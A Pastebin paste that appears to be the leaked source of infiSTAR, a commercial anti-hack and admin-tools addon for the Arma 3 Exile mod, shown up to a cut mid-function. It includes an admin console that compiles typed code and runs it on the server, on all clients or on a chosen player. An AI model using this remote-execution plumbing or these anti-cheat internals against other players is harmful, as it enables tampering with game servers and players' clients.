SilentHero

Untitled

Jul 7th, 2016
2,374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 460.67 KB | None | 0 0
  1. sreV prefix a3_infiSTAR_Exile config.cpp M HH|WM CUSTOM_FUNCTIONS.hpp Î HH|WÎ debug.sqf H[ HH|WH[ EXILE_AH.sqf €Q HH|W€Q EXILE_AHAT_CONFIG.hpp åz }Wåz EXILE_AT.sqf ö­ HH|Wö­ fn_preInit.sqf )R HH|W)R PboPrefix.txt  HH|W /*
  2. Author: Chris(tian) "infiSTAR" Lorenzen
  3. Contact: [email protected] // www.infiSTAR.de
  4.  
  5. Copyright infiSTAR - 2011 - 2016. All rights reserved.
  6. Christian (Chris) L. ([email protected]) Developer of infiSTAR
  7. */
  8. #include "EXILE_AHAT_CONFIG.hpp"
  9. class CfgPatches
  10. {
  11. class a3_infiSTAR_Exile
  12. {
  13. requiredVersion = 0.2666;
  14. requiredAddons[] = {};
  15. units[] = {};
  16. weapons[] = {};
  17. magazines[] = {};
  18. ammo[] = {};
  19. author[]= {"Chris(tian) 'infiSTAR' Lorenzen"};
  20. website[]= {"https://infiSTAR.de"};
  21. version = v0054;
  22. licensed = "[email protected]";
  23. };
  24. };
  25. class CfgFunctions
  26. {
  27. class a3_infiSTAR_Exile
  28. {
  29. class main
  30. {
  31. file = "a3_infiSTAR_Exile";l
  32. class preInit { preInit = 1; };
  33. };
  34. };
  35. };
  36. #include "CUSTOM_FUNCTIONS.hpp"/*
  37. Author: Chris(tian) "infiSTAR" Lorenzen
  38. Contact: [email protected] // www.infiSTAR.de
  39.  
  40. Copyright infiSTAR - 2011 - 2016. All rights reserved.
  41. Christian (Chris) L. ([email protected]) Developer of infiSTAR
  42.  
  43. Description:
  44. Arma AntiHack & AdminTools - infiSTAR.de
  45.  
  46.  
  47. READ:
  48. type 0 = just execute
  49. type 1 = toggleable function
  50. type 2 = function targets the selected player (it will be _this)
  51.  
  52. name = name shown in the admin menu (this is also what has to be put in the EXILE_AHAT_CONFIG.sqf as Admin Power!)
  53.  
  54. code = code to execute - if you have a linebreak within the code, you need to put a \ at the end of each line!
  55. */
  56. class CfgCustomFunctions {
  57. class custom1 {
  58. type = 0; // just execute
  59. name = "custom1: type = 0";
  60. code = "systemChat 'custom1';";
  61. };
  62. class custom2 {
  63. type = 1; // toggle on/off
  64. name = "custom2: type = 1";
  65. code = "if(isNil'custom2toggled')then{systemChat 'custom2 toggled on';custom2toggled=true;}else{systemChat 'custom2 toggled off';custom2toggled=nil;};";
  66. };
  67. class custom3 {
  68. type = 2; // targets selected player (_this)
  69. name = "custom3: type = 2";
  70. code = "systemChat format['custom3 -> selected player: %1',name _this];";
  71. };
  72. class custom4 {
  73. type = 2; // targets selected player (_this)
  74. name = "custom4: type = 2";
  75. code = "[_this] call fnc_TP2ME;";
  76. };
  77. class custom5 {
  78. type = 0; // just execute
  79. name = "custom5: type = 0";
  80. code = "systemChat 'custom5';";
  81. };
  82. };fnc_admin_c = compileFinal 'compile _this';
  83. fnc_admin_cc = compileFinal 'call compile _this';
  84. fnc_createctrl = {
  85. params['_display','_type','_idc'];
  86. ctrlDelete (_display displayCtrl _idc);
  87. _ctrl = _display ctrlCreate[_type, _idc];
  88. _ctrl
  89. };
  90.  
  91.  
  92.  
  93.  
  94. fnc_setPNS = compileFinal '
  95. profileNameSpace setVariable _this;saveProfileNamespace;
  96. ';
  97. fnc_getPNS = compileFinal '
  98. profileNameSpace getVariable _this
  99. ';
  100. fnc_lbDebugChanged = {
  101. disableSerialization;
  102. _ctrl = _this select 0;
  103. _index = _this select 1;
  104. ((findDisplay -1341) displayCtrl 1) ctrlSetText (['infiSTAR_SAVED_FUNCTIONS',[]] call fnc_getPNS select _index);
  105. };
  106. fnc_fillDebugListBox = {
  107. _listbox = (findDisplay -1341) displayCtrl 1384;
  108. _listbox ctrlRemoveAllEventHandlers 'LBDblClick';
  109. _listbox ctrlRemoveAllEventHandlers 'LBSelChanged';
  110. _listbox ctrlAddEventHandler ['LBDblClick', 'call fnc_lbDebugChanged;call fnc_debug_loadbtn;true'];
  111. _listbox ctrlAddEventHandler ['LBSelChanged', 'call fnc_lbDebugChanged;true'];
  112. lbClear _listbox;
  113.  
  114. _var = ['infiSTAR_SAVED_FUNCTIONS',[]] call fnc_getPNS;
  115. if!(_var isEqualTo [])then
  116. {
  117. {
  118. _lbid = _listbox lbAdd _x;
  119. } forEach _var;
  120. };
  121. };
  122. already_run_array = [];
  123. last_selected_run_id = 0;
  124. fnc_getMainText = {
  125. private _txt = ctrlText((findDisplay -1341) displayCtrl 1339);
  126. already_run_array = already_run_array - [_txt];
  127. last_selected_run_id = already_run_array pushBack _txt;
  128. _txt
  129. };
  130. fnc_debug_loadbtn = {
  131. _var = ['infiSTAR_SAVED_FUNCTIONS',[]] call fnc_getPNS;
  132. _varname = lbtext[1384,(lbCurSel 1384)];
  133. if(_varname isEqualTo '')then
  134. {
  135. systemChat 'You need to select a function to load it..!';
  136. }
  137. else
  138. {
  139. _index = _var find _varname;
  140.  
  141. _varvalue = [format['infiSTAR_SAVED_FUNCTION_%1',_varname],''] call fnc_getPNS;
  142. ((findDisplay -1341) displayCtrl 1339) ctrlSetText _varvalue;
  143.  
  144. systemChat format['Loaded: %1',_varname];
  145. call fnc_fillDebugListBox;
  146. };
  147. true
  148. };
  149. fnc_workplace = {
  150. _admin = !isNil'MAIN_DISPLAY_ID';
  151. disableSerialization;
  152. if(isNull findDisplay -1341)then{createdialog 'infiSTAR_EDITBOX2';'AdminConsole' call fnc_adminLog;};
  153. _display = findDisplay -1341;
  154. _buttonheight = 0.05;
  155.  
  156. _wfposY = safeZoneY + 0.01;
  157. _wf1 = _display displayCtrl 1380;
  158. _wf1 ctrlSetPosition [0,_wfposY,1,_buttonheight];
  159. _wf1 ctrlCommit 0;
  160.  
  161. _wf1cb = [_display,'RscCheckBox',1360] call fnc_createctrl;
  162. _wf1cb cbSetChecked (['cbChecked__wf1',false] call fnc_getPNS);
  163. _wf1cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
  164. _wf1cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf1'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
  165. _wf1cb ctrlSetTooltip 'ALWAYS SHOW';
  166. _wf1cb ctrlCommit 0;
  167.  
  168.  
  169. _wf1cb1 = [_display,'RSCButton',1461] call fnc_createctrl;
  170. _wf1cb1 ctrlSetText 'copy';
  171. _wf1cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
  172. _wf1cb1 ctrlCommit 0;
  173. _wf1cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1362);true'];
  174.  
  175. _wf1cb2 = [_display,'RSCButton',1361] call fnc_createctrl;
  176. _wf1cb2 ctrlSetText 'clear';
  177. _wf1cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
  178. _wf1cb2 ctrlCommit 0;
  179. _wf1cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1380) ctrlSetText '''';[''wf1tTCT'',''''] call fnc_setPNS;true'];
  180.  
  181. if(!isNil'wf1T')then{terminate wf1T;wf1T=nil;};
  182. wf1T = [0,_wfposY+0.045,1,_buttonheight] spawn {
  183. disableSerialization;
  184. _oldText = ['wf1tTCT',''] call fnc_getPNS;
  185.  
  186. _display = findDisplay -1341;
  187. _wf1 = _display displayCtrl 1380;
  188. _wf1 ctrlSetText _oldText;
  189.  
  190. _wf1t = [findDisplay 46,'RSCText',1362] call fnc_createctrl;
  191. _wf1t ctrlSetPosition _this;
  192. _wf1t ctrlCommit 0;
  193. while {true} do
  194. {
  195. if((isNull _wf1) && !(['cbChecked__wf1',false] call fnc_getPNS))exitWith{_wf1t ctrlSetText '';};
  196.  
  197. _oldText = ['wf1tTCT',''] call fnc_getPNS;
  198. if(!isNull _wf1)then
  199. {
  200. _ctrltext = ctrlText _wf1;
  201. if(_ctrltext isEqualTo '')then
  202. {
  203. _wf1t ctrlSetText '';
  204. }
  205. else
  206. {
  207. if!(_ctrltext isEqualTo _oldText)then
  208. {
  209. ['wf1tTCT',_ctrltext] call fnc_setPNS;
  210. };
  211. };
  212. };
  213. if!(_oldText isEqualTo '')then
  214. {
  215. _wf1t ctrlSetText str(_oldText call fnc_admin_cc);
  216. };
  217. uiSleep 0.1;
  218. };
  219. };
  220.  
  221. _wfposY = _wfposY + 0.1;
  222. _wf2 = _display displayCtrl 1381;
  223. _wf2 ctrlSetPosition [0,_wfposY,1,_buttonheight];
  224. _wf2 ctrlCommit 0;
  225.  
  226. _wf2cb = [_display,'RscCheckBox',1260] call fnc_createctrl;
  227. _wf2cb cbSetChecked (['cbChecked__wf2',false] call fnc_getPNS);
  228. _wf2cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
  229. _wf2cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf2'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
  230. _wf2cb ctrlSetTooltip 'ALWAYS SHOW';
  231. _wf2cb ctrlCommit 0;
  232.  
  233. _wf2cb1 = [_display,'RSCButton',1561] call fnc_createctrl;
  234. _wf2cb1 ctrlSetText 'copy';
  235. _wf2cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
  236. _wf2cb1 ctrlCommit 0;
  237. _wf2cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1262);true'];
  238.  
  239. _wf2cb2 = [_display,'RSCButton',1261] call fnc_createctrl;
  240. _wf2cb2 ctrlSetText 'clear';
  241. _wf2cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
  242. _wf2cb2 ctrlCommit 0;
  243. _wf2cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1381) ctrlSetText '''';[''wf2tTCT'',''''] call fnc_setPNS;true'];
  244.  
  245. if(!isNil'wf2T')then{terminate wf2T;wf2T=nil;};
  246. wf2T = [0,_wfposY+0.045,1,_buttonheight] spawn {
  247. disableSerialization;
  248. _oldText = ['wf2tTCT',''] call fnc_getPNS;
  249.  
  250. _display = findDisplay -1341;
  251. _wf2 = _display displayCtrl 1381;
  252. _wf2 ctrlSetText _oldText;
  253.  
  254. _wf2t = [findDisplay 46,'RSCText',1262] call fnc_createctrl;
  255. _wf2t ctrlSetPosition _this;
  256. _wf2t ctrlCommit 0;
  257. while {true} do
  258. {
  259. if((isNull _wf2) && !(['cbChecked__wf2',false] call fnc_getPNS))exitWith{_wf2t ctrlSetText '';};
  260.  
  261. _oldText = ['wf2tTCT',''] call fnc_getPNS;
  262. if(!isNull _wf2)then
  263. {
  264. _ctrltext = ctrlText _wf2;
  265. if(_ctrltext isEqualTo '')then
  266. {
  267. _wf2t ctrlSetText '';
  268. }
  269. else
  270. {
  271. if!(_ctrltext isEqualTo _oldText)then
  272. {
  273. ['wf2tTCT',_ctrltext] call fnc_setPNS;
  274. };
  275. };
  276. };
  277. if!(_oldText isEqualTo '')then
  278. {
  279. _wf2t ctrlSetText str(_oldText call fnc_admin_cc);
  280. };
  281. uiSleep 0.1;
  282. };
  283. };
  284.  
  285.  
  286. _wfposY = _wfposY + 0.1;
  287. _wf3 = _display displayCtrl 1382;
  288. _wf3 ctrlSetPosition [0,_wfposY,1,_buttonheight];
  289. _wf3 ctrlCommit 0;
  290.  
  291. _wf3cb = [_display,'RscCheckBox',1160] call fnc_createctrl;
  292. _wf3cb cbSetChecked (['cbChecked__wf3',false] call fnc_getPNS);
  293. _wf3cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
  294. _wf3cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf3'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
  295. _wf3cb ctrlSetTooltip 'ALWAYS SHOW';
  296. _wf3cb ctrlCommit 0;
  297.  
  298. _wf3cb1 = [_display,'RSCButton',1661] call fnc_createctrl;
  299. _wf3cb1 ctrlSetText 'copy';
  300. _wf3cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
  301. _wf3cb1 ctrlCommit 0;
  302. _wf3cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1162);true'];
  303.  
  304. _wf3cb2 = [_display,'RSCButton',1161] call fnc_createctrl;
  305. _wf3cb2 ctrlSetText 'clear';
  306. _wf3cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
  307. _wf3cb2 ctrlCommit 0;
  308. _wf3cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1382) ctrlSetText '''';[''wf3tTCT'',''''] call fnc_setPNS;true'];
  309.  
  310. if(!isNil'wf3T')then{terminate wf3T;wf3T=nil;};
  311. wf3T = [0,_wfposY+0.045,1,_buttonheight] spawn {
  312. disableSerialization;
  313. _oldText = ['wf3tTCT',''] call fnc_getPNS;
  314.  
  315. _display = findDisplay -1341;
  316. _wf3 = _display displayCtrl 1382;
  317. _wf3 ctrlSetText _oldText;
  318.  
  319. _wf3t = [findDisplay 46,'RSCText',1162] call fnc_createctrl;
  320. _wf3t ctrlSetPosition _this;
  321. _wf3t ctrlCommit 0;
  322. while {true} do
  323. {
  324. if((isNull _wf3) && !(['cbChecked__wf3',false] call fnc_getPNS))exitWith{_wf3t ctrlSetText '';};
  325.  
  326. _oldText = ['wf3tTCT',''] call fnc_getPNS;
  327. if(!isNull _wf3)then
  328. {
  329. _ctrltext = ctrlText _wf3;
  330. if(_ctrltext isEqualTo '')then
  331. {
  332. _wf3t ctrlSetText '';
  333. }
  334. else
  335. {
  336. if!(_ctrltext isEqualTo _oldText)then
  337. {
  338. ['wf3tTCT',_ctrltext] call fnc_setPNS;
  339. };
  340. };
  341. };
  342. if!(_oldText isEqualTo '')then
  343. {
  344. _wf3t ctrlSetText str(_oldText call fnc_admin_cc);
  345. };
  346. uiSleep 0.1;
  347. };
  348. };
  349.  
  350.  
  351. _wfposY = _wfposY + 0.1;
  352. _wf4 = _display displayCtrl 1383;
  353. _wf4 ctrlSetPosition [0,_wfposY,1,_buttonheight];
  354. _wf4 ctrlCommit 0;
  355.  
  356. _wf4cb = [_display,'RscCheckBox',1060] call fnc_createctrl;
  357. _wf4cb cbSetChecked (['cbChecked__wf4',false] call fnc_getPNS);
  358. _wf4cb ctrlSetPosition [-_buttonheight,_wfposY,_buttonheight,_buttonheight];
  359. _wf4cb ctrlSetEventHandler['CheckedChanged','[''cbChecked__wf4'',(_this select 1) isEqualTo 1] call fnc_setPNS;true'];
  360. _wf4cb ctrlSetTooltip 'ALWAYS SHOW';
  361. _wf4cb ctrlCommit 0;
  362.  
  363. _wf4cb1 = [_display,'RSCButton',1761] call fnc_createctrl;
  364. _wf4cb1 ctrlSetText 'copy';
  365. _wf4cb1 ctrlSetPosition [1,_wfposY,0.09,_buttonheight];
  366. _wf4cb1 ctrlCommit 0;
  367. _wf4cb1 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 7564982345) ctrlSetText ctrlText((findDisplay 46) displayCtrl 1062);true'];
  368.  
  369. _wf4cb2 = [_display,'RSCButton',1061] call fnc_createctrl;
  370. _wf4cb2 ctrlSetText 'clear';
  371. _wf4cb2 ctrlSetPosition [1.09,_wfposY,0.09,_buttonheight];
  372. _wf4cb2 ctrlCommit 0;
  373. _wf4cb2 ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1383) ctrlSetText '''';[''wf4tTCT'',''''] call fnc_setPNS;true'];
  374.  
  375. if(!isNil'wf4T')then{terminate wf4T;wf4T=nil;};
  376. wf4T = [0,_wfposY+0.045,1,_buttonheight] spawn {
  377. disableSerialization;
  378. _oldText = ['wf4tTCT',''] call fnc_getPNS;
  379.  
  380. _display = findDisplay -1341;
  381. _wf4 = _display displayCtrl 1383;
  382. _wf4 ctrlSetText _oldText;
  383.  
  384. _wf4t = [findDisplay 46,'RSCText',1062] call fnc_createctrl;
  385. _wf4t ctrlSetPosition _this;
  386. _wf4t ctrlCommit 0;
  387. while {true} do
  388. {
  389. if((isNull _wf4) && !(['cbChecked__wf4',false] call fnc_getPNS))exitWith{_wf4t ctrlSetText '';};
  390.  
  391. _oldText = ['wf4tTCT',''] call fnc_getPNS;
  392. if(!isNull _wf4)then
  393. {
  394. _ctrltext = ctrlText _wf4;
  395. if(_ctrltext isEqualTo '')then
  396. {
  397. _wf4t ctrlSetText '';
  398. }
  399. else
  400. {
  401. if!(_ctrltext isEqualTo _oldText)then
  402. {
  403. ['wf4tTCT',_ctrltext] call fnc_setPNS;
  404. };
  405. };
  406. };
  407. if!(_oldText isEqualTo '')then
  408. {
  409. _wf4t ctrlSetText str(_oldText call fnc_admin_cc);
  410. };
  411. uiSleep 0.1;
  412. };
  413. };
  414.  
  415. _ctrl = [_display,'RSCEdit',7564982345] call fnc_createctrl;
  416. _ctrl ctrlSetPosition [0,_wfposY + 0.245,1,_buttonheight];
  417. _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
  418. _ctrl ctrlCommit 0;
  419.  
  420. _ctrl = _display displayCtrl 1339;
  421. _startYpos = safeZoneY + 0.61;
  422. _ctrl ctrlSetPosition [0,_startYpos,1,1];
  423. _ctrl ctrlCommit 0;
  424. _ctrl ctrlSetText (['workplacemainwindow',''] call fnc_getPNS);
  425. if(!isNil'workplacemainwindowT')then{terminate workplacemainwindowT;workplacemainwindowT=nil;};
  426. workplacemainwindowT = [] spawn {
  427. disableSerialization;
  428. while{true}do
  429. {
  430. _ctrl = (findDisplay -1341) displayCtrl 1339;
  431. if(isNull _ctrl)exitWith{workplacemainwindowT=nil;};
  432.  
  433. _ctext = ctrlText _ctrl;
  434. _vtext = ['workplacemainwindow',''] call fnc_getPNS;
  435. if!(_ctext isEqualTo _vtext)then
  436. {
  437. ['workplacemainwindow',_ctext] call fnc_setPNS;
  438. };
  439. uiSleep 0.1;
  440. };
  441. };
  442. _ctrlid = 7338;
  443.  
  444. if(_admin)then{
  445. _ctrlid = _ctrlid + 1;
  446. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  447. _ctrl ctrlSetText 'GLOBAL';
  448. _ctrl ctrlSetPosition [0,_startYpos + 1,0.25,_buttonheight];
  449. _ctrl ctrlCommit 0;
  450. _ctrl ctrlSetEventHandler['ButtonClick','[call fnc_getMainText] call admin_d0;systemChat ''<infiSTAR.de> RAN CODE ON: GLOBAL (SERVER AND ALL CLIENTS)'';true'];
  451.  
  452. _ctrlid = _ctrlid + 1;
  453. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  454. _ctrl ctrlSetText 'ALL BUT SERVER';
  455. _ctrl ctrlSetPosition [0,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
  456. _ctrl ctrlCommit 0;
  457. _ctrl ctrlSetEventHandler['ButtonClick','[''if(!isServer)then{''+(call fnc_getMainText)+''};''] call admin_d0;systemChat ''<infiSTAR.de> RAN CODE ON: ALL BUT SERVER'';true'];
  458.  
  459.  
  460. _ctrlid = _ctrlid + 1;
  461. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  462. _ctrl ctrlSetText 'SERVER';
  463. _ctrl ctrlSetPosition [0.25,_startYpos + 1,0.25,_buttonheight];
  464. _ctrl ctrlCommit 0;
  465. _ctrl ctrlSetEventHandler['ButtonClick','[call fnc_getMainText] call admin_d0_server;systemChat ''<infiSTAR.de> RAN CODE ON: SERVER'';true'];
  466.  
  467. _ctrlid = _ctrlid + 1;
  468. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  469. _ctrl ctrlSetText 'SELECTED (ORANGE) TARGET';
  470. _ctrl ctrlSetPosition [0.25,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
  471. _ctrl ctrlCommit 0;
  472. _ctrl ctrlSetEventHandler['ButtonClick','if(isPlayer SELECTED_TARGET_PLAYER)then{[call fnc_getMainText,SELECTED_TARGET_PLAYER] call admin_d0_target;systemChat format[''<infiSTAR.de> RAN CODE ON: %1'',name SELECTED_TARGET_PLAYER];};true'];
  473. };
  474.  
  475. _ctrlid = _ctrlid + 1;
  476. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  477. _ctrl ctrlSetText 'LOCAL';
  478. _ctrl ctrlSetPosition [0.5,_startYpos + 1,0.25,_buttonheight];
  479. _ctrl ctrlCommit 0;
  480. _ctrl ctrlSetEventHandler['ButtonClick','(call fnc_getMainText) call fnc_admin_cc;systemChat ''<infiSTAR.de> RAN CODE ON: LOCAL'';true'];
  481.  
  482. if(_admin)then{
  483. _ctrlid = _ctrlid + 1;
  484. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  485. _ctrl ctrlSetText 'CAMERAON';
  486. _ctrl ctrlSetPosition [0.5,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
  487. _ctrl ctrlCommit 0;
  488. _ctrl ctrlSetEventHandler['ButtonClick','if(!isNull cameraOn)then{[call fnc_getMainText,cameraOn] call admin_d0_target;systemChat format[''<infiSTAR.de> RAN CODE ON: %1'',name cameraOn];};true'];
  489. };
  490.  
  491. _ctrlid = _ctrlid + 1;
  492. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  493. _ctrl ctrlSetText 'NEXT';
  494. _ctrl ctrlSetPosition [0.75,_startYpos + 1,0.25,_buttonheight];
  495. _ctrl ctrlCommit 0;
  496. _ctrl ctrlSetEventHandler['ButtonClick','
  497. _max = ((count already_run_array)-1) max 0;
  498. _new = last_selected_run_id + 1;
  499. if(_new <= _max)then
  500. {
  501. last_selected_run_id = _new;
  502. _txt = already_run_array select last_selected_run_id;
  503. ((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;
  504. };
  505. systemChat format[''<infiSTAR.de console> %1 / %2'',last_selected_run_id,_max];
  506. true
  507. '];
  508.  
  509. _ctrlid = _ctrlid + 1;
  510. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  511. _ctrl ctrlSetText 'LAST';
  512. _ctrl ctrlSetPosition [0.75,_startYpos + 1 + _buttonheight,0.25,_buttonheight];
  513. _ctrl ctrlCommit 0;
  514. _ctrl ctrlSetEventHandler['ButtonClick','
  515. _max = ((count already_run_array)-1) max 0;
  516. _new = last_selected_run_id - 1;
  517. if(_new >= 0)then
  518. {
  519. last_selected_run_id = _new;
  520. _txt = already_run_array select last_selected_run_id;
  521. ((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;
  522. };
  523. systemChat format[''<infiSTAR.de console> %1 / %2'',last_selected_run_id,_max];
  524. true
  525. '];
  526.  
  527.  
  528.  
  529.  
  530.  
  531.  
  532. _buttonYpos = _startYpos;
  533. _ctrlid = _ctrlid + 1;
  534. if(_admin)then{
  535. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  536. _ctrl ctrlSetText 'ALL ITEMS';
  537. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  538. _ctrl ctrlCommit 0;
  539. _ctrl ctrlSetEventHandler['ButtonClick','((findDisplay -1341) displayCtrl 1339) ctrlSetText str ALLC_ITEMS;true'];
  540. };
  541.  
  542. _buttonYpos = _buttonYpos + _buttonheight;
  543. _ctrlid = _ctrlid + 1;
  544. if(_admin)then{
  545. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  546. _ctrl ctrlSetText 'ALL VEHICLES';
  547. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  548. _ctrl ctrlCommit 0;
  549. _ctrl ctrlSetEventHandler['ButtonClick','_txt = str ALL_VEHS_TO_SEARCH_C;((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
  550. };
  551.  
  552. _buttonYpos = _buttonYpos + _buttonheight + _buttonheight;
  553. _ctrlid = _ctrlid + 1;
  554. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  555. _ctrl ctrlSetText 'CURSORTARGET';
  556. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  557. _ctrl ctrlCommit 0;
  558. _ctrl ctrlSetEventHandler['ButtonClick','_txt = typeOf cursorTarget;((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
  559.  
  560. _buttonYpos = _buttonYpos + _buttonheight;
  561. _ctrlid = _ctrlid + 1;
  562. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  563. _ctrl ctrlSetText 'VEHICLE PLAYER';
  564. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  565. _ctrl ctrlCommit 0;
  566. _ctrl ctrlSetEventHandler['ButtonClick','_txt = typeOf vehicle player;((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
  567.  
  568. _buttonYpos = _buttonYpos + _buttonheight;
  569. _ctrlid = _ctrlid + 1;
  570. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  571. _ctrl ctrlSetText 'GETPOS';
  572. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  573. _ctrl ctrlCommit 0;
  574. _ctrl ctrlSetEventHandler['ButtonClick','_txt = str(getPos player);((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
  575.  
  576. _buttonYpos = _buttonYpos + _buttonheight;
  577. _ctrlid = _ctrlid + 1;
  578. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  579. _ctrl ctrlSetText 'GETPOSATL';
  580. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  581. _ctrl ctrlCommit 0;
  582. _ctrl ctrlSetEventHandler['ButtonClick','_txt = str(getPosATL player);((findDisplay -1341) displayCtrl 1339) ctrlSetText _txt;diag_log _txt;true'];
  583.  
  584. _buttonYpos = _buttonYpos + _buttonheight + _buttonheight;
  585. _ctrlid = _ctrlid + 1;
  586. _ctrl = [_display,'RSCEdit',_ctrlid] call fnc_createctrl;
  587. _oldTxt = ['infiSTAR_show_function_000',''] call fnc_getPNS;
  588. if(_oldTxt isEqualTo '')then{_oldTxt = '{diag_activeSQFScripts}';};
  589. _ctrl ctrlSetText _oldTxt;
  590. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  591. _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
  592. _ctrl ctrlCommit 0;
  593.  
  594. _buttonYpos = _buttonYpos + _buttonheight;
  595. _ctrlid = _ctrlid + 1;
  596. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  597. _ctrl ctrlSetText 'RETURN FUNCTION VALUE';
  598. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  599. _ctrl ctrlCommit 0;
  600. _ctrl ctrlSetEventHandler['ButtonClick','
  601. disableSerialization;
  602. _display = findDisplay -1341;
  603. _ctrl = _display displayCtrl 1339;
  604.  
  605. _ctrltext = ctrlText(_display displayCtrl '+str (_ctrlid - 1)+');
  606.  
  607. [''infiSTAR_show_function_000'',_ctrltext] call fnc_setPNS;
  608.  
  609. _var = missionNameSpace getVariable [_ctrltext,''''];
  610. if(typeName _var isEqualTo ''CODE'')exitWith
  611. {
  612. _txt = str([] call _var);
  613. if(_txt isEqualTo '''')then{_txt = ''nothing to return'';};
  614. _ctrl ctrlSetText _txt;
  615. diag_log _txt;
  616. true
  617. };
  618.  
  619. _function = _ctrltext call fnc_admin_cc;
  620. _txt = '''';
  621. if(typeName _function isEqualTo ''CODE'')then
  622. {
  623. _txt = str([] call _function);
  624. if(_txt isEqualTo '''')then{_txt = ''nothing to return'';};
  625. }
  626. else
  627. {
  628. _txt = ''not a function.. (a function is something within curly brackets)'';
  629. };
  630. _ctrl ctrlSetText _txt;
  631. diag_log _txt;
  632. true
  633. '];
  634.  
  635. _buttonYpos = _buttonYpos + _buttonheight + _buttonheight;
  636. _ctrlid = _ctrlid + 1;
  637. _ctrl = [_display,'RSCEdit',_ctrlid] call fnc_createctrl;
  638. _ctrl ctrlSetText (['infiSTAR_show_variable_000','READ FROM VARIABLE'] call fnc_getPNS);
  639. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  640. _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
  641. _ctrl ctrlCommit 0;
  642.  
  643. _buttonYpos = _buttonYpos + _buttonheight;
  644. _ctrlid = _ctrlid + 1;
  645. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  646. _ctrl ctrlSetText 'READ FROM VARIABLE';
  647. _ctrl ctrlSetPosition [1,_buttonYpos,0.25,_buttonheight];
  648. _ctrl ctrlCommit 0;
  649. _ctrl ctrlSetEventHandler['ButtonClick','
  650. disableSerialization;
  651. _display = findDisplay -1341;
  652. _ctrl = _display displayCtrl 1339;
  653. _ctrltext = ctrlText(_display displayCtrl '+str (_ctrlid - 1)+');
  654.  
  655. [''infiSTAR_show_variable_000'',_ctrltext] call fnc_setPNS;
  656.  
  657. _var = missionNameSpace getVariable [_ctrltext,''''];
  658. _txt = str _var;
  659. _ctrl ctrlSetText _txt;
  660. diag_log _txt;
  661. true
  662. '];
  663.  
  664. if(_admin)then{
  665. _ctrlid = _ctrlid + 1;
  666. _ctrl = [_display,'RSCButton',_ctrlid] call fnc_createctrl;
  667. _ctrl ctrlSetText 'Debug Console';
  668. _ctrl ctrlSetPosition [1,_startYpos + 0.7,0.25,_buttonheight];
  669. _ctrl ctrlCommit 0;
